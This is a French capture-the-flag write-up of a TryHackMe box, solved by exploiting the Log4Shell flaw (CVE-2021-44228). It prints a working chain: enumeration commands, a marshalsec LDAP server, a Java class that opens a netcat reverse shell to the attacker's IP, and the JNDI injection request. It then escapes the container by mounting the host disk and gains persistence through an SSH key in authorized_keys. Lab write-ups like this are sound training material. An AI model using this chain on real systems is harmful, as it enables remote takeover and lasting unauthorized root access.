No logs, no crime… so says the lumberjack.
Lumberjack turtle est une box de Tryhackme est log4j est à l’honneur.
Un entraînement parfait pour exploiter la faille CVE-2021-44228
Commande :
nmap -T5 -sV -p- 10.10.239.165
Il n’y que le port 80 d’ouvert. On va énumérer les répertoires existante sur la cible avec Dirb.
Commande :
dirb http://10.10.239.165
On a trouvé un 1ier répertoire, on va voir si à partir de ce dernier s’il y en a d’autre.
Commande :
dirb -u http://10.10.239.165/~logs
Nouveau répertoire trouvé log4j. Il va donc falloir exploiter cette faille. Avant de voir de se lancer, il faut voir si la cible est vulnérable.
Ce répertoire GitHub nous permet de tester si la cible est vulnérable https://github.com/fullhunt/log4j-scan
Commande :
git clone https://github.com/fullhunt/log4j-scan
cd log4j-scan
pip3 install -r requirements.txt
Scan de la cible :
python3.9 log4j-scan.py http:// 10.10.239.165/~logs/log4j
C’est bien vulnérable… En même temps, on s’en doutait un peu…
Il était bien caché, mais il vaut le coup. Il se trouve dans le header de la page /~logs/log4j.
Dans les outils de développement ( f12 ), on peut voir l’indice : X-THM-HINT CVE-2021-44228 against X-Api-Version
Pour exploiter la faille, il y a plusieurs étapes à mettre en place
Il faut au préalable télécharger ce répertoire github
Commande :
git clone https://github.com/mbechler/marshalsec
cd marshalec
mvn clean package -DskipTests
Mise en place du serveur :
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc 10.11.38.124 9999 -e /bin/bash");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java -source 8 -target 8
python3.9 -m http.server
nc -nlvp 9999
Tout est prêt !!!!
curl -X GET http://10.10.239.165/~logs/log4j/ -H 'X-Api-Version: ${jndi:ldap://10.11.38.124:1389/Exploit\}'
On arrive sur un shell, qui ne peut pas être upgrade. En tout cas, on est avec le compte root dans un conteneur.
Le 1ier flag se trouve à cet emplacement : /opt/
Comme pour la box Hamlet, il faut aller dans /dev et voir quels sont les disques qui sont présents.
Commande :
cd /dev
ls -al | grep disk
Il faut ensuite monter le disque xvda1.
Commande :
mkdir /mnt/xvda1
mount /dev/xvda1 /mnt/xvda1
Une fois monté, on a accès à tout le système en tant que root.
Le 2ᵉ flag est plus difficile à trouver. On passe facilement à côté. Il faut voir le dossier qui s’appelle «…»
Done !!!
Il est possible de se connecter en ssh. Une fois le volume xvda1 montée, il est possible d’ajouter une clé public dans le fichier authorized_keys.
Sur Kali, il faut créer une paire de clé privée/public.
Commande :
ssh-keygen
Copie de la clé id_rsa.pub :
echo ‘key here ‘ >> authorized_keys
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.